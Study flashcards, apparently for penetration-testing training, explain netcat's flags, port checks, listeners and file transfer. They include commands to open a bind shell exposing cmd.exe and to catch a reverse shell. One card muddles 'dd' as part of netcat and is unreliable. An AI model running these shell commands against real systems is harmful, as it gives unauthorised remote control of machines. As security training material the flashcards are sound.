Practical Tools Flashcards
5 often used practical tools.
Netcat, Socat, PowerShell, Wireshark, and Tcpdump.
What is netcat?
Netcat, first released in 1995 by Hobbit is one of the “original” network penetration testing tools and is so versatile that it lives up to the author’s designation as a hacker’s “Swiss army knife”. The clearest definition of Netcat is from Hobbit himself: a simple “utility which reads and writes data across network connections, using TCP or UDP protocols.”
How to use netcat?
nc
What ‘-n’ option do in Netcat?
Skip DNS name resolution.
What ‘-v’ option do in Netcat?
Add some verbosity.
What netcat arguments are required?
The destination IP address; and the destination port number.
How to check with netcat if TCP port 110 (the POP3 mail service) is open on 10.11.0.22.
nc -nv 10.11.0.22 110
How to use nc to connect to a POP3 service?
nc -nv 10.11.0.22 110
How to set up Netcat to listen for incoming connections on TCP port 4444?
nc -nlvp 4444
What ‘-n’ option do in netcat?
Disable DNS name resolution.
What ‘-l’ option do in netcat?
Create a listener.
What ‘-v’ option do in netcat?
Add some verbosity.
What ‘-p’ option do in netcat?
Specify the listening port number.
How to set up a listener using netcat on port 4444?
nc -nlvp 4444
How to connect to a listener using netcat on port 4444 and local address?
nc -nv 127.0.0.1 4444
What is dd in netcat?
Disk copying utility.
What is dd in netcat?
Disk copying utility.
How to use netcat, to receive a file “incoming.exe” on port 4444?
nc -nlvp 4444 > incoming.exe
How to use netcat to transfer a “wget.exe” file in “/usr/share/windows-resources/binaries” to another computer which is listening on port 4444 and have IP 10.11.0.22?
nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
What ‘-e’ option do in netcat?
Executes a program after making or receiving a successful connection.
How to check ip on windows?
ipconfig
How to use netcat to set up a bind shell on port 4444, which give remote access to command prompt?
nc -nlvp 4444 -e cmd.exe
How to use netcat to connect to a bind shell on port 4444 and IP 10.11.0.22?
nc -nv 10.11.0.22 4444
How to use nc to set up a listener in order to receive a reverse shell on port 4444?
nc -nlvp 4444